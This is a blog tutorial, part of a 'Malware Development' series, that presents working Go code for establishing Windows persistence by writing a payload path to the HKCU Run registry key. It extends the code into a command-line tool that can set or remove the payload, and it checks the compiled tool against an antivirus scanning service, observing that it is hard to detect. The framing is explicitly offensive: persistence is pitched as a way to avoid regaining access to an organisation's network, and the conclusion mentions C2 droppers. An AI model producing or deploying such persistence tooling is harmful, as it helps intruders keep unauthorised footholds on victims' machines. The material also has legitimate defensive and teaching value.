Post

Malware Development 7 - Persistence via autorun registry (Golang)

pic

Introduction

Hello my friends!

This post will be a little bit shorter than usual but don’t worry because it will teach you a simple and well known persistence technique.

Explanation

A lot of malwares use this technique because it allows you to execute a command or file on every startup. Breaking into an organisation network is hard and it could take you a long time, that’s why persistence is really important to focus on the rest of the work instead of getting access again. In this case there are some Windows registry keys which allow you to do this, we’ll use the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run one

Here you have another graph done by me which simplifies the explanation

pic

Code

In order to interact with registry keys we have to import the official Golang registry package

1
2
3
4
5
6
7
8
package main

import (
  "fmt"
  "log"

  "golang.org/x/sys/windows/registry"
)

And then we write the rest of the code, this post is much more simple

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
func main(){
  // Open registry key
  key, _, err := registry.CreateKey(
    registry.CURRENT_USER, // registry path
    "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
    registry.ALL_ACCESS, // full access
  )

  if err != nil { // Handle error
    log.Fatal(err)
  }
  defer key.Close() // Close key

  // Overwrite value
  err = key.SetStringValue("", "C:\\Windows\\System32\\cmd.exe")
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("[+] Success!")
}

If we execute that, it will overwrite the key value with C:\\Windows\\System32\\cmd.exe

Now let’s restart the system to see if it runs on startup…

pic

Yes! It worked and a cmd appeared

But this is too easy, let’s create a better tool with CLI arguments. We’ll do it with the internal flag package

In this case the program will have 2 main options, one to write our payload and the other to remove the payloads. New filename is main2.exe and the final code is this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package main

import (
  "fmt"
  "log"
  "flag"

  "golang.org/x/sys/windows/registry"
)

func main(){
  var payload string
  var delete_flag bool

  flag.StringVar(&payload, "p", "C:\\Windows\\System32\\cmd.exe", "write payload to execute on startup")
  flag.BoolVar(&delete_flag, "d", false, "delete current payload from registry key")
  flag.Parse()

  fmt.Println("[*] Opening registry key...")
  key, _, err := registry.CreateKey(
    registry.CURRENT_USER,
    "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
    registry.ALL_ACCESS,
  )

  if err != nil {
    log.Fatal(err)
  }
  defer key.Close()

  if delete_flag == false {
    fmt.Println("[*] Writing our payload: " + payload)
  } else {
    payload = ""
  }

  err = key.SetStringValue("", payload)
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("[+] Success!")
}

Now let’s test this out.

Demo

Compile the Golang code:

Linux command

1
GOARCH=amd64 GOOS=windows go build main2.go

Windows command

1
go build main2.go

pic

And here we can see that this “new” features also work.

pic

Let’s see what antiscan.me says about the program.

pic

As it’s a really simple program is hard to detect as malicious.

References

1
2
3
4
https://pkg.go.dev/golang.org/x/sys/windows/registry
https://github.com/golang/go/issues/32748
https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/

Conclusion

This is a well known technique which can be used with no malicious intentions to run on startup an app, but it also can be used to execute malware like a C2 dropper.

Source code here

Go back to top

This post is licensed under CC BY 4.0 by the author.